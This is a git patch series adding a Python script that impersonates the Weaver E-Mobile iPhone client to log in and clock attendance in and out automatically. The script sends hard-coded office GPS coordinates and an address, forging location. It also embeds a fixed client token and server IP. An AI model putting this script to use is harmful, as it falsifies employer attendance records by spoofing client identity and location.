Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- fuck/weaver.py | 197 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 197 insertions(+) create mode 100644 fuck/weaver.py diff --git a/fuck/weaver.py b/fuck/weaver.py new file mode 100644 index 0000000..f3b0d4c --- /dev/null +++ b/fuck/weaver.py @@ -0,0 +1,197 @@ +#!/usr/bin/env python +# encoding: utf-8 + +""" +@author: zhanghe +@software: PyCharm +@file: weaver.py +@time: 2019-02-19 17:50 +""" + +from __future__ import unicode_literals +from __future__ import print_function + +import json +import uuid +import requests +from urllib import urlencode + +# from future.moves.urllib.parse import urlencode + + +REQUESTS_TIME_OUT = (30, 30) + +s = requests.session() + + +class WeaverClient(object): + """ + 泛微打卡神器 + """ + headers = { + 'User-Agent': 'E-MobileE-Mobile 6.5.68 (iPhone; iOS 12.1.2; zh_CN)', + 'Host': '120.132.31.218:89', + 'Timezone': 'GMT+8', + 'Accept-Encoding': 'gzip', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json;charset=UTF-8', + } + + host = 'http://120.132.31.218:89' + jession_id = '' + session_key = '' + udid = '' + user_id = '' + user_key = '' + + token = '3eef8a67907788cbd45266ad4921d7d1802b1cd8fd4db00cd55516d8a5b38d13' + client_user_id = '191e35f7e01b0dacefa' + + # 上海办公室坐标 + longitude = '31.30899441189236,121.5098819986979' # 纬度,经度 + addr = '上海市杨浦区政立路靠近中航天盛广场' # 地址 + + login_status = False + + def __init__(self, username, password): + self.username = username + self.password = password + self.udid = self.get_uuid() + + @staticmethod + def get_uuid(): + return str(uuid.uuid4()).upper() + + def get_config(self): + url = '%s/client.do' % self.host + params = { + "method": "getconfig", + "clientver": "6.5.68", + "clienttype": "iPhone", + "language": "zh-Hans", + "country": "CN", + } + request_headers = self.headers.copy() + res = s.get(url, params=params, headers=request_headers, timeout=REQUESTS_TIME_OUT) + print(res.status_code) + print(json.dumps(res.json(), indent=4, ensure_ascii=False)) + self.jession_id = res.cookies.get('JESSIONID') + + def login(self): + """ + 登录 + 错误消息 + { + "errorno": "111", + "error": "错误: 用户名或密码为空(111)" + } + """ + self.get_config() + + url = '%s/client.do' % self.host + params = { + "method": "login", + "udid": self.udid, + "token": self.token, + "language": "zh-Hans", + "country": "CN", + "isneedmoulds": "1", + "clienttype": "iPhone", + "clientver": "6.5.68", + "clientos": "iOS", + "clientosver": "12.1.2", + "authcode": "", + "dynapass": "", + "tokenpass": "", + "clientChannelId": "", + "clientuserid": self.client_user_id, + } + + url = '?'.join([url, urlencode(params)]) + print(url) + payload = { + "loginid": self.username, + "password": self.password, + "isFromSunEmobile": 1, + } + print(payload) + request_headers = self.headers.copy() + request_headers['Content-Type'] = 'application/x-www-form-urlencoded; charset=utf-8' + + res = s.post(url, data=payload, headers=request_headers, timeout=REQUESTS_TIME_OUT) + if res.status_code == 200: + data = res.json() + print(json.dumps(data, indent=4, ensure_ascii=False)) + self.session_key = data['sessionkey'] + + # 提取cookies + self.user_id = res.cookies.get('userid') + self.user_key = res.cookies.get('userKey') + self.jession_id = res.cookies.get('JESSIONID') + + if data.get('error'): + return False + + self.login_status = True + return True + else: + print(res.status_code) + print(res.content) + return False + + def get_status(self): + """ + 检查打卡状况 + """ + url = '%s/client.do' % self.host + params = { + 'method': 'checkin', + 'type': 'getStatus', + 'sessionkey': self.session_key, + } + request_headers = self.headers.copy() + res = s.get(url, params=params, headers=request_headers, timeout=REQUESTS_TIME_OUT) + data = res.json() + print(json.dumps(data, indent=4, ensure_ascii=False)) + + def fuck(self): + """ + 打卡 + 正确消息 + { + "msg": "如因工作原因迟到或早退请提交相应流程,签到(签退)时间:2019-02-19 18:15:28", + "result": "success" + } + 错误消息 + { + "errorno": "005", + "error": "错误: 当前用户信息无效,请重新登录(005)" + } + """ + url = '%s/client.do' % self.host + + request_headers = self.headers.copy() + + params = { + "method": "checkin", + "type": "checkin", + "latlng": self.longitude, # 纬度,经度 + "addr": self.addr, # 地址 + "sessionkey": self.session_key, + "wifiMac": "", + } + + res = s.get(url, params=params, headers=request_headers, timeout=REQUESTS_TIME_OUT) + print(res.status_code) + print(json.dumps(res.json(), indent=4, ensure_ascii=False)) + + +if __name__ == '__main__': + # 打卡 + weaver_client = WeaverClient( + username='xxxxxx', + password='xxxxxx', + ) + weaver_client.login() + weaver_client.fuck() + weaver_client.get_status() From a678ce38a3770c91ad12e617810bf9f5ccf7898b Mon Sep 17 00:00:00 2001 From: Zhang He Date: Mon, 25 Feb 2019 18:43:21 +0800 Subject: [PATCH 43/43] =?UTF-8?q?=E6=B3=9B=E5=BE=AE=E6=89=93=E5=8D=A1?= =?UTF-8?q?=E7=A5=9E=E5=99=A8=E6=96=B0=E5=A2=9E=E7=AD=BE=E9=80=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- fuck/weaver.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/fuck/weaver.py b/fuck/weaver.py index f3b0d4c..a4e0e9a 100644 --- a/fuck/weaver.py +++ b/fuck/weaver.py @@ -8,14 +8,16 @@ @time: 2019-02-19 17:50 """ -from __future__ import unicode_literals from __future__ import print_function +from __future__ import unicode_literals import json +import time import uuid -import requests from urllib import urlencode +import requests + # from future.moves.urllib.parse import urlencode @@ -43,6 +45,7 @@ class WeaverClient(object): udid = '' user_id = '' user_key = '' + sign_status = 'checkin' # 打卡类型: 默认签到(checkout 签退) token = '3eef8a67907788cbd45266ad4921d7d1802b1cd8fd4db00cd55516d8a5b38d13' client_user_id = '191e35f7e01b0dacefa' @@ -172,9 +175,12 @@ def fuck(self): request_headers = self.headers.copy() + current_time = time.strftime("%H%M") + self.sign_status = 'checkout' if current_time >= '1826' else self.sign_status + params = { "method": "checkin", - "type": "checkin", + "type": self.sign_status, "latlng": self.longitude, # 纬度,经度 "addr": self.addr, # 地址 "sessionkey": self.session_key,